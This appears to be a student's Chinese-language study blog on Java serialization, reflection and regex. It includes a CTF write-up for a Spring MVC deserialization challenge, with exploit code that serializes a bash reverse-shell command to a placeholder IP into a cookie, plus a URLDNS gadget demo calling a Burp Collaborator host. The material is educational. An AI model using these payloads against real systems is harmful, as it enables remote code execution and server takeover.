因为上学期学了java课,但是发现别的班讲了序列化和正则之类的,所以打算学一下

一、序列化概述

序列化是指把一个Java对象变成二进制内容,本质上就是一个byte[]数组。 序列化后可以把byte[]保存到文件中,或者把byte[]通过网络传输到远程,这样,就相当于把Java对象存储到文件或者通过网络传输出去了。 有序列化,就有反序列化,即把一个二进制内容(也就是byte[]数组)变回Java对象。有了反序列化,保存到文件中的byte[]数组又可以“变回”Java对象,或者从网络上读取byte[]并把它“变回”Java对象。(来源网络)

序列化最重要的作用:在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。

反序列化的最重要的作用:根据字节流中保存的对象状态及描述信息,通过反序列化重建对象。

总结:核心作用就是对象状态的保存和重建。(整个过程核心点就是字节流中所保存的对象状态及描述信息)

例如在php中如果要保存一个类,可以利用序列化将类保存成二进制内容:

1
2
3
4
5
6
7
<?php
class A{

}
var_dump(serialize(new A()));

//string(12) "O:1:"A":0:{}"

二、java序列化

java.io.ObjectOutputStream代表对象输出流,它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中。
java.io.ObjectInputStream代表对象输入流,它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回。
只有实现了Serializable和Externalizable接口的类的对象才能被序列化。Externalizable接口继承自 Serializable接口,实现Externalizable接口的类完全由自身来控制序列化的行为,而仅实现Serializable接口的类可以 采用默认的序列化方式 。
  对象序列化包括如下步骤:
  1) 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流;
  2) 通过对象输出流的writeObject()方法写对象。

  对象反序列化的步骤如下:
  1) 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;
  2) 通过对象输入流的readObject()方法读取对象。

所以可以用不同的方式实现对象的序列化

菜鸟教程

1.初步认识java序列化和反序列化

//用于序列化的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import java.io.Serializable;

public class Student implements Serializable {
private int id;
private String name;
private char sex;
Student(int id,String name,char sex){
this.id = id;
this.name = name;
this.sex = sex;
}

public void setId(int id){
this.id = id;
}

public void setName(String name){
this.name = name;
}

public void setSex(char sex){
this.sex = sex;
}

public int getId(){
return this.id;
}

public String getName(){
return this.name;
}

public char getSex(){
return this.sex;
}

}

//实现序列化

1
2
3
4
5
6
7
void serialize(Student std) throws IOException {
ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("output.txt"));
obj.writeObject(std);
System.out.println("序列化成功!");
obj.close();
}
// �� sr demo.Student��e�(�� I idC sexL namet Ljava/lang/String;xp Yst Ameuu

//实现反序列化

1
2
3
4
5
6
7
void unSerialize() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(new File("output.txt")));
Student student = (Student) objectInputStream.readObject();
System.out.println(student.getName());
System.out.println("反序列化成功");
objectInputStream.close();
}
2.深入学习

java序列化和反序列化全讲解

序列化方法:原生、xml、json等

  1. 序列化的类必须实现Serialize接口
  2. 静态变量不能被序列化
  3. transient不参与序列化

readObject方法的安全问题:当类被反序列化的时候,如果类里面有readObejct方法就会自动执行代码(只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力

Tips:

共同条件 继承Serialize

入口类 source(重写readObject=>调用常见的函数 参数类型宽泛 最好jdk自带) 如 MapHashMap

调用链 gadget chain

执行类 sink (rce ssrf 写文件……)

漏洞相关:

当进行ssrf的时候,java中的URL类(可序列化)

3.深入学习之java反射

反射:一开始我们并不知道我们要初始化的类对象是什么,自然也无法使用new关键字来创建对象

(可利用java反射调用default修饰的类、调用方法

Student

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Student implements Serializable {
private int id;
private String name;
private char sex;
public int score;

public Student(){

}

// Student(int id,String name,char sex){
// this.id = id;
// this.name = name;
// this.sex = sex;
// }

public void setId(int id){
this.id = id;
}

public void setName(String name){
this.name = name;
}

public void setSex(char sex){
this.sex = sex;
}

public int getId(){
return this.id;
}

public String getName(){
return name;
}

public char getSex(){
return this.sex;
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}

public String toString(){

return "this is a student";
}

}

RefectionTest

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class RefectionTest {
public static void main(String[] args) throws Exception {
Student student = new Student();
Class c = student.getClass();
// 反射就是操作Class

// 从原型class里实例化对象
// c.newInstance();
// 可以利用这个来获取构造方法
// 然后getConstructor方法里面可以写入参数 类似于String.class用来匹配我们想要实例化
// 的类的有参构造方法的参数
Constructor constructor = c.getConstructor();
// 进行实例化
Student student1 = (Student) constructor.newInstance();
System.out.println(student1);

// 获取类里面属性
// c.getFields(); // 获取所有属性
// getFields获取public的属性
// getDeclaredFields获取所有属性
// Field[] fields = c.getDeclaredFields();
// for (Field f : fields){
// System.out.println(f);
// }

// getField只能获取public的属性
// 不能修改私有属性的值 访问
Field name = c.getDeclaredField("name");

// 实现对私有属性变量的访问和修改
name.setAccessible(true);
name.set(student1,"1");
System.out.println(student1);

// 调用类里面的方法
// Method[] method = c.getMethods();
// for(Method m : method){
// System.out.println(m);
// }

// 如果方法无参数则如下
Method action = c.getMethod("getName");
action.invoke(student1);

// 如果方法有参数 要说明调用函数的参数的数据类型
// 然后也要注意如果方法是私有属性的方法 不能随意访问
Method action1 = c.getMethod("setName", String.class);
// 实现对私有属性的方法的访问
action.setAccessible(true);
action1.invoke(student1,"ameuu");

}
}
[V&N2020公开赛]springmvc

buuoj.cn

1.先自己做

因为还没学过Spring框架,也不会搭,就先自己随便看看代码了

可以发现Tools类是存在Serialize接口的,所以是可以序列化的,并且写了序列化和反序列化的函数,最后还重写了readObject,所以该类应该就是我们可以利用的类

那我们可以先来看看readObject方法,发现可要传入的是反序列化之后的内容,其实应该也算是传入一个对象,然后进行实例化

1
2
3
4
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
Object obj = in.readObject();
(new ProcessBuilder((String[])((String[])obj))).start();
}

可以找找看ProcessBuilder

img

再看看其他的类

可以找到比较特别的类,ClientInfoFilter,因为这里调用了Tools中的序列化函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.filters;

import com.tools.ClientInfo;
import com.tools.Tools;
import java.io.IOException;
import java.util.Base64;
import java.util.Base64.Decoder;
import java.util.Base64.Encoder;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class ClentInfoFilter implements Filter {
public ClentInfoFilter() {
}

public void init(FilterConfig fcg) {
}

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
Cookie[] cookies = ((HttpServletRequest)request).getCookies(); //获取Cookie
boolean exist = false;
Cookie cookie = null;
if (cookies != null) { // 如果Cookie不为空
Cookie[] var7 = cookies;
int var8 = cookies.length;

for(int var9 = 0; var9 < var8; ++var9) {
Cookie c = var7[var9];
if (c.getName().equals("cinfo")) {
exist = true;
cookie = c;
break;
}
}
}

byte[] bytes;
if (exist) { // 如果Cookie中的名字为cinfo为true
String b64 = cookie.getValue(); // 获取内容
Decoder decoder = Base64.getDecoder(); // base解码
bytes = decoder.decode(b64); // 转成字节
ClientInfo cinfo = null;
if (!b64.equals("") && bytes != null) { // 如果都不为空
try {
cinfo = (ClientInfo)Tools.parse(bytes); // 进行反序列化 并实例化成ClientInfo的对象
} catch (Exception var14) {
var14.printStackTrace();
}
} else {
cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId()); // 如果内容为空 则进行实例化
Encoder encoder = Base64.getEncoder();// base加密

try {
bytes = Tools.create(cinfo); // 进行序列化
} catch (Exception var15) {
var15.printStackTrace();
}

cookie.setValue(encoder.encodeToString(bytes)); // 设置cookie
}

((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo);
// 获取session并增加属性为cinfo 将值传进去
} else {
Encoder encoder = Base64.getEncoder(); // 如果cookie不存在 将encoder实例化成base64的加密

try {
ClientInfo cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId());
bytes = Tools.create(cinfo);
cookie = new Cookie("cinfo", encoder.encodeToString(bytes));
cookie.setMaxAge(86400);
((HttpServletResponse)response).addCookie(cookie);
((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo);
} catch (Exception var13) {
var13.printStackTrace();
}
}

chain.doFilter(request, response);
}

public void destroy() {
}
}

审计下来,可以发现如果我们要利用这个类的话,那应该是要满足第一个if语句,然后调用反序列化函数,并且要反序列化Tool类,从而执行Tool类里面的readObject方法,然后进行命令执行,虽然大概思路是知道的,但是无从下手(菜

看看别的师傅的wp吧!!

2.学习!

发现我的思路也对,总的来说就是要把我们伪造的序列化字符串放入cookie中,然后反序列化进行命令执行,那么现在比较难理解的就是该怎么进行命令执行了

理解:Tools类中还存在一个属性testCall是我们可以利用的,而在最后命令执行的时候会以String[]接收数据,那在序列化的时候将testCall改成String[]然后将命令传进去,那反序列化调用的时候就会执行我们写入的语句

exp:

Tools

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package demo;//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class Tools implements Serializable {
private static final long serialVersionUID = 1L;
private String[] testCall;

public Tools() {
}

public void setTestCall(String[] str){
this.testCall = str;
}

public static Object parse(byte[] bytes) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
return ois.readObject();
}

public static byte[] create(Object obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(bos);
outputStream.writeObject(obj);
return bos.toByteArray();
}

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
Object obj = in.readObject();
(new ProcessBuilder((String[])((String[])obj))).start();
}
}

ToolsTest

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package demo;

import java.util.Base64;

public class ToolsTest {
public static void main(String[] args) throws Exception {
Tools tools = new Tools();
String[] cmd = {"bash","-c","bash -i >& /dev/tcp/ip/6868 0>&1"};
tools.setTestCall(cmd);
byte[] bytes = Tools.create(tools);
Base64.Encoder encoder = Base64.getEncoder();
System.out.println(encoder.encodeToString(bytes));
}
}

URL DNS链

首先可利用的类为HashMap,因为这个类里面重写了readObject等,然后我们的目标是调用HashMap里面的hashCode方法从而产生DNS请求。

而在put的时候就会在hash函数里面调用key.hashCode()方法,但是在测试的时候会发现,就算没有反序列化也会发起请求,这会对我们是否成功而产生迷惑性,所有我们要使得序列化的时候不能发起请求,所有要在一开始hashCode的值不能为-1,但是又要在反序列化之前把hashCode的值改为-1

SerializeTest

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializeTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("output.txt"));
os.writeObject(obj);
}
public static void main(String[] args) throws Exception {
HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>();
// 这里不要发起请求
// 通过java反射
URL url = new URL("http://zy1ok3czhtt8z7qmwpi4xkxiy942sr.burpcollaborator.net");
Class c = url.getClass();
Field field = c.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,1223);
hashMap.put(url,1);
// hashMap.put(new URL("http://g0h5mkegjavp1os3y6klz1zz0q6gu5.burpcollaborator.net"), 1);
// hashcode改成-1
field.set(url,-1);

serialize(hashMap);
}
}

UnserializeTest

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream os = new ObjectInputStream(new FileInputStream(Filename));
Object obj = os.readObject();
return obj;
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
unserialize("output.txt");
}
}

(个人还不是特别懂

三、java正则匹配

菜鸟教程

字符 说明
\ 将下一字符标记为特殊字符、文本、反向引用或八进制转义符。例如, n匹配字符 n\n 匹配换行符。序列 \\** 匹配 *\*\(** 匹配 **(**。
^ 匹配输入字符串开始的位置。如果设置了 RegExp 对象的 Multiline 属性,^ 还会与”\n”或”\r”之后的位置匹配。
$ 匹配输入字符串结尾的位置。如果设置了 RegExp 对象的 Multiline 属性,$ 还会与”\n”或”\r”之前的位置匹配。
* 零次或多次匹配前面的字符或子表达式。例如,zo* 匹配”z”和”zoo”。* 等效于 {0,}。
+ 一次或多次匹配前面的字符或子表达式。例如,”zo+”与”zo”和”zoo”匹配,但与”z”不匹配。+ 等效于 {1,}。
? 零次或一次匹配前面的字符或子表达式。例如,”do(es)?”匹配”do”或”does”中的”do”。? 等效于 {0,1}。
{n} n 是非负整数。正好匹配 n 次。例如,”o{2}”与”Bob”中的”o”不匹配,但与”food”中的两个”o”匹配。
{n,} n 是非负整数。至少匹配 n 次。例如,”o{2,}”不匹配”Bob”中的”o”,而匹配”foooood”中的所有 o。”o{1,}”等效于”o+”。”o{0,}”等效于”o*”。
{n,m} mn 是非负整数,其中 n <= m。匹配至少 n 次,至多 m 次。例如,”o{1,3}”匹配”fooooood”中的头三个 o。’o{0,1}’ 等效于 ‘o?’。注意:您不能将空格插入逗号和数字之间。
? 当此字符紧随任何其他限定符(*、+、?、{n}、{n,}、{n,m})之后时,匹配模式是”非贪心的”。”非贪心的”模式匹配搜索到的、尽可能短的字符串,而默认的”贪心的”模式匹配搜索到的、尽可能长的字符串。例如,在字符串”oooo”中,”o+?”只匹配单个”o”,而”o+”匹配所有”o”。
. 匹配除”\r\n”之外的任何单个字符。若要匹配包括”\r\n”在内的任意字符,请使用诸如”[\s\S]”之类的模式。
(pattern) 匹配 pattern 并捕获该匹配的子表达式。可以使用 $0…$9 属性从结果”匹配”集合中检索捕获的匹配。若要匹配括号字符 ( ),请使用”(“或者”)“。
(?:pattern) 匹配 pattern 但不捕获该匹配的子表达式,即它是一个非捕获匹配,不存储供以后使用的匹配。这对于用”or”字符 (|) 组合模式部件的情况很有用。例如,’industr(?:y|ies) 是比 ‘industry|industries’ 更经济的表达式。
(?=pattern) 执行正向预测先行搜索的子表达式,该表达式匹配处于匹配 pattern 的字符串的起始点的字符串。它是一个非捕获匹配,即不能捕获供以后使用的匹配。例如,’Windows (?=95|98|NT|2000)’ 匹配”Windows 2000”中的”Windows”,但不匹配”Windows 3.1”中的”Windows”。预测先行不占用字符,即发生匹配后,下一匹配的搜索紧随上一匹配之后,而不是在组成预测先行的字符后。
(?!pattern) 执行反向预测先行搜索的子表达式,该表达式匹配不处于匹配 pattern 的字符串的起始点的搜索字符串。它是一个非捕获匹配,即不能捕获供以后使用的匹配。例如,’Windows (?!95|98|NT|2000)’ 匹配”Windows 3.1”中的 “Windows”,但不匹配”Windows 2000”中的”Windows”。预测先行不占用字符,即发生匹配后,下一匹配的搜索紧随上一匹配之后,而不是在组成预测先行的字符后。
x|y 匹配 xy。例如,’z|food’ 匹配”z”或”food”。’(z|f)ood’ 匹配”zood”或”food”。
[xyz] 字符集。匹配包含的任一字符。例如,”[abc]”匹配”plain”中的”a”。
[^xyz] 反向字符集。匹配未包含的任何字符。例如,”[^abc]”匹配”plain”中”p”,”l”,”i”,”n”。
[a-z] 字符范围。匹配指定范围内的任何字符。例如,”[a-z]”匹配”a”到”z”范围内的任何小写字母。
[^a-z] 反向范围字符。匹配不在指定的范围内的任何字符。例如,”[^a-z]”匹配任何不在”a”到”z”范围内的任何字符。
\b 匹配一个字边界,即字与空格间的位置。例如,”er\b”匹配”never”中的”er”,但不匹配”verb”中的”er”。
\B 非字边界匹配。”er\B”匹配”verb”中的”er”,但不匹配”never”中的”er”。
\cx 匹配 x 指示的控制字符。例如,\cM 匹配 Control-M 或回车符。x 的值必须在 A-Z 或 a-z 之间。如果不是这样,则假定 c 就是”c”字符本身。
\d 数字字符匹配。等效于 [0-9]。
\D 非数字字符匹配。等效于 [^0-9]。
\f 换页符匹配。等效于 \x0c 和 \cL。
\n 换行符匹配。等效于 \x0a 和 \cJ。
\r 匹配一个回车符。等效于 \x0d 和 \cM。
\s 匹配任何空白字符,包括空格、制表符、换页符等。与 [ \f\n\r\t\v] 等效。
\S 匹配任何非空白字符。与 [^ \f\n\r\t\v] 等效。
\t 制表符匹配。与 \x09 和 \cI 等效。
\v 垂直制表符匹配。与 \x0b 和 \cK 等效。
\w 匹配任何字类字符,包括下划线。与”[A-Za-z0-9_]”等效。
\W 与任何非单词字符匹配。与”[^A-Za-z0-9_]”等效。
\xn 匹配 n,此处的 n 是一个十六进制转义码。十六进制转义码必须正好是两位数长。例如,”\x41”匹配”A”。”\x041”与”\x04”&”1”等效。允许在正则表达式中使用 ASCII 代码。
*num* 匹配 num,此处的 num 是一个正整数。到捕获匹配的反向引用。例如,”(.)\1”匹配两个连续的相同字符。
*n* 标识一个八进制转义码或反向引用。如果 *n* 前面至少有 n 个捕获子表达式,那么 n 是反向引用。否则,如果 n 是八进制数 (0-7),那么 n 是八进制转义码。
*nm* 标识一个八进制转义码或反向引用。如果 *nm* 前面至少有 nm 个捕获子表达式,那么 nm 是反向引用。如果 *nm* 前面至少有 n 个捕获,则 n 是反向引用,后面跟有字符 m。如果两种前面的情况都不存在,则 *nm* 匹配八进制值 nm,其中 nm 是八进制数字 (0-7)。
\nml n 是八进制数 (0-3),ml 是八进制数 (0-7) 时,匹配八进制转义码 nml
\un 匹配 n,其中 n 是以四位十六进制数表示的 Unicode 字符。例如,\u00A9 匹配版权符号 (©)。
Pattern Matcher

Pattern.matches()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package demo2;

import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class Replace {
public static void main(String[] args) {
/**
* Pattern.matches
*/
boolean res = Pattern.matches("a|m|e|u|u","a");
System.out.println(res);
}
}

Pattern + Matcher

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class Replace {
public static void main(String[] args) {
/**
* Pattern.compile (matcher) + Matcher
*/
String data[] = {"[0-9]{11}","[0-9]{4}\\.[0-9]{1,2}\\.[0-9]{1,2}"};

Pattern r = Pattern.compile(data[1]);
Matcher ans = r.matcher("2001.1.2");

if(ans.find()){
System.out.println("group:"+ans.group()); // 2001.1.2
System.out.println("start:"+ans.start()); // 0
System.out.println("end:"+ans.end()); // 8
System.out.println("matches:"+ans.matches()); // true
System.out.println("lookingAt:"+ans.lookingAt()); // true
}
else {
System.out.println("error");
}
}
}
replace
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import java.util.regex.Matcher;
import java.util.regex.Pattern;

public class Replace {
public static void main(String[] args) {
/**
* Matcher
*/
String input = "dog";
Pattern p = Pattern.compile(input);
Matcher m = p.matcher("catcatcatcatcatcatcatdogcatcatcatdog");
if(m.find()){
input = m.replaceAll("fish");
System.out.println(input); // catcatcatcatcatcatcatfishcatcatcatfish
input = m.replaceFirst("fish"); // catcatcatcatcatcatcatfishcatcatcatdog
System.out.println(input);
}
}
}